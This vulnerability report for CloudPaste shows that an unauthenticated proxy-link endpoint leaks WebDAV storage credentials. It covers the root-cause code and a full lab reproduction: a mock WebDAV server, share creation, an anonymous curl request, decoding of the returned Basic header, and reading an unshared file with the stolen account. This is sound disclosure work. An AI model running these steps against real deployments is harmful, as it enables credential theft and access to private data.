# CloudPaste Vulnerability Report Software: CloudPaste Developer or vendor: ling-drag0n Code repository: https://github.com/ling-drag0n/CloudPaste ## 1. Proxy Link Endpoint Discloses WebDAV Storage Credentials Brief description: When an anonymous visitor requests the proxy link endpoint, it returns the username and password of the WebDAV storage configuration. Affected versions: 1.1.0 to 1.9.1 Introduced in: [CloudPaste commit ef6edbaa](https://github.com/ling-drag0n/CloudPaste/commit/ef6edbaa65e1a8e29bee6b5cdaeb4e085b893434) Preconditions: The instance has a public share link backed by WebDAV storage. ### Root Cause `/api/proxy/link` lets a reverse proxy obtain the upstream address, and the route has no authentication middleware: ```js // backend/src/routes/proxyLinkRoutes.js:88-95 commit 282ea1c7fb proxyLinkRoutes.post("/api/proxy/link", async (c) => { const db = c.env.DB; const encryptionSecret = getEncryptionSecret(c); const repositoryFactory = c.get("repos"); const { type, path, slug } = await parseLinkBody(c); ``` The `share` branch loads the share record, builds the upstream request through `getShareUpstreamLink`, and puts the returned `headers` into the response: ```js // backend/src/routes/proxyLinkRoutes.js:139-167 commit 282ea1c7fb case "share": { const file = await fileService.getFileBySlug(slug); const access = fileService.isFileAccessible(file); if (!access.accessible) { if (access.reason === "expired") { throw new AuthorizationError("File is expired"); } throw new NotFoundError("File is not accessible"); } const storageLink = await linkService.getShareUpstreamLink( file, // 分享视图只需要 user 类型与 id(目前仅用于后续扩展) { type: userType, id: userType === UserType.ADMIN ? userIdOrInfo : userIdOrInfo?.id ?? null }, { request: c.req.raw, }, ); if (!storageLink || !storageLink.url) { throw new NotFoundError("Share file does not have a resolvable link"); } return c.json( buildLinkResponse({ url: storageLink.url, header: normalizeHeaders(storageLink.headers || {}), }), ApiStatus.OK, ); } ``` When `use_proxy` is 0, `getShareUpstreamLink` calls `generateUpstreamRequest` on the storage driver: ```js // backend/src/storage/link/LinkService.js:235-250 commit 282ea1c7fb // 2) use_proxy = 0 且驱动具备上游 HTTP 能力时,优先交给驱动返回 {url, headers},由反代直连存储 try { if (typeof driver.generateUpstreamRequest === "function") { const upstream = await driver.generateUpstreamRequest(file.storage_path, { subPath: file.storage_path, request, userType: userInfo?.type || null, userId: userInfo?.id || null, }); if (upstream && upstream.url) { const headers = normalizeUpstreamHeaders(upstream.headers); console.log( `[LinkService][share][upstream-http] 文件(${file.id || slug}) 上游使用驱动 UPSTREAM_HTTP 能力: ${upstream.url}`, ); return createProxyLink(upstream.url, { headers }); } } ``` The WebDAV driver encodes the username and password from the storage configuration into a Basic authorization header and returns it in `headers`: ```js // backend/src/storage/drivers/webdav/WebDavStorageDriver.js:800-819 commit 282ea1c7fb async generateUpstreamRequest(path, options = {}) { this._ensureInitialized(); const { subPath } = options; const relativePath = subPath || path; const davPath = this._buildDavPath(relativePath, false); const url = this._buildRequestUrl(davPath); /** @type {Record} */ const headers = {}; const auth = this._basicAuthHeader(); if (auth) { headers["Authorization"] = [auth]; } return { url, headers, }; } ``` This Basic header is the credential CloudPaste uses to access the WebDAV service. The endpoint hands it to the requester unchanged, so an anonymous visitor obtains the WebDAV account. ### Reproduction Environment The lab uses the official Docker compose deployment with the default ports. Only `BACKEND_URL` of the frontend service is changed to `http://127.0.0.1:8787`: ```bash mkdir cloudpaste && cd cloudpaste wget https://raw.githubusercontent.com/ling-drag0n/CloudPaste/main/docker-compose.yml # edit docker-compose.yml and set BACKEND_URL of frontend to http://127.0.0.1:8787 docker compose -p cloudpaste-report up -d ``` Start a WebDAV service that requires Basic authentication. The account is `davuser`, the password is `davpass-SECRET`, `private.txt` contains `WEBDAV-PRIVATE-DATA`, and `admin-notes.txt` contains `WEBDAV-UNSHARED-DATA`: ```python from base64 import b64encode from fastapi import FastAPI, HTTPException, Request, Response USER = "davuser" PASSWORD = "davpass-SECRET" EXPECTED = "Basic " + b64encode(f"{USER}:{PASSWORD}".encode()).decode() FILES = { "private.txt": b"WEBDAV-PRIVATE-DATA", "admin-notes.txt": b"WEBDAV-UNSHARED-DATA", } app = FastAPI() @app.api_route("/dav/{path:path}", methods=["GET", "HEAD", "PROPFIND", "OPTIONS", "PUT"]) def dav(path: str, request: Request): if request.method == "OPTIONS": return Response(status_code=200, headers={"DAV": "1,2", "Allow": "OPTIONS,GET,HEAD,PUT,PROPFIND"}) if request.headers.get("authorization") != EXPECTED: raise HTTPException(status_code=401, headers={"WWW-Authenticate": 'Basic realm="dav"'}) if request.method == "PUT": return Response(status_code=201) body = FILES.get(path) if body is None: raise HTTPException(status_code=404) if request.method == "PROPFIND": xml = ( '' '' f"/dav/{path}" f"{len(body)}" "text/plain" "Sat, 15 Nov 2026 08:00:00 GMT" "HTTP/1.1 200 OK" ) return Response(xml, media_type="application/xml") if request.method == "HEAD": return Response(status_code=200, headers={"Content-Length": str(len(body)), "Content-Type": "text/plain"}) return Response(body, media_type="text/plain") ``` Start the service: ```bash uvicorn report_dav_server:app --host 0.0.0.0 --port 19098 ``` In the commands below, `172.20.0.1` stands for the address of that host as seen from inside the CloudPaste container. It can be obtained with: ```bash docker network inspect cloudpaste-report_cloudpaste-network \ -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}' ``` ### Reproduction Log in as the administrator: ```bash curl -s -X POST http://127.0.0.1:8787/api/admin/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin123"}' ``` The response is: ```json {"success":true,"code":"OK","message":"登录成功","data":{"username":"admin","token":"GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK","expiresAt":"2026-11-22T01:44:05.674Z"}} ``` Put the token from the response into the script below. The script creates the WebDAV storage configuration and mount point, then creates a share for `/dav/private.txt`. It requires `httpx`: ```python import httpx BASE = "http://127.0.0.1:8787" TOKEN = "GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK" c = httpx.Client(base_url=BASE, timeout=40) headers = {"Authorization": "Bearer " + TOKEN} r = c.post("/api/storage", headers=headers, json={ "name": "webdav-report", "storage_type": "WEBDAV", "is_public": 1, "endpoint_url": "http://172.20.0.1:19098/dav", "username": "davuser", "password": "davpass-SECRET", }) print("POST /api/storage", r.status_code) print(r.text) cfg = r.json()["data"] r = c.post("/api/mount/create", headers=headers, json={ "name": "webdav-report", "storage_type": "WEBDAV", "storage_config_id": cfg["id"], "mount_path": "/dav", "web_proxy": 0, "is_active": True, }) print("\nPOST /api/mount/create", r.status_code) print(r.text) r = c.post("/api/fs/create-share", headers=headers, json={"path": "/dav/private.txt"}) print("\nPOST /api/fs/create-share", r.status_code) print(r.text) ``` The response that creates the storage configuration is: ```json {"success":true,"code":"CREATED","message":"存储配置创建成功","data":{"default_folder":"","total_storage_bytes":10737418240,"enable_disk_usage":1,"endpoint_url":"http://172.20.0.1:19098/dav","username":"davuser","tls_insecure_skip_verify":0,"id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","name":"webdav-report","storage_type":"WEBDAV","admin_id":"ecb37868-67d4-4aac-b109-2917de8c3d5b","is_public":1,"is_default":0,"remark":null,"url_proxy":null,"status":"ENABLED","created_at":"2026-11-15T01:44:05.696Z","updated_at":"2026-11-15T01:44:05.696Z","last_used":null}} ``` The response that creates the mount point is: ```json {"success":true,"code":"CREATED","message":"挂载点创建成功","data":{"id":"d7f43a06-49e0-493c-8023-51fb3aeb8f6c","name":"webdav-report","storage_type":"WEBDAV","storage_config_id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","mount_path":"/dav","remark":null,"is_active":1,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","sort_order":0,"cache_ttl":300,"web_proxy":0,"webdav_policy":"302_redirect","enable_sign":0,"sign_expires":null,"enable_folder_summary_compute":0,"created_at":"2026-11-15T01:44:05.712Z","updated_at":"2026-11-15T01:44:05.712Z","last_used":null}} ``` The response that creates the share is: ```json {"success":true,"code":"OK","message":"分享创建成功","data":{"id":"2ce05f30-9f3e-4ee1-996d-a889b23e75ad","slug":"mWFWZp","filename":"private.txt","mimetype":"text/plain","size":19,"remark":"来自文件系统: /dav/private.txt","created_at":"2026-11-15T01:44:05.789Z","requires_password":false,"views":0,"max_views":null,"expires_at":null,"url":"/file/mWFWZp","use_proxy":0,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","used_original_filename":true,"storage_path":"private.txt","storage_type":"WEBDAV"}} ``` Request the proxy link endpoint anonymously: ```bash curl -s -X POST http://127.0.0.1:8787/api/proxy/link \ -H 'Content-Type: application/json' \ -d '{"type":"share","slug":"mWFWZp"}' ``` The response is: ```json {"code":200,"data":{"url":"http://172.20.0.1:19098/dav/private.txt","header":{"Authorization":["Basic ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA=="]}}} ``` Decode the `Authorization` value: ```bash echo 'ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA==' | base64 -d ``` ```text davuser:davpass-SECRET ``` Read `admin-notes.txt`, which is not shared, with that account: ```bash curl -s -u davuser:davpass-SECRET http://172.20.0.1:19098/dav/admin-notes.txt ``` ```text WEBDAV-UNSHARED-DATA ```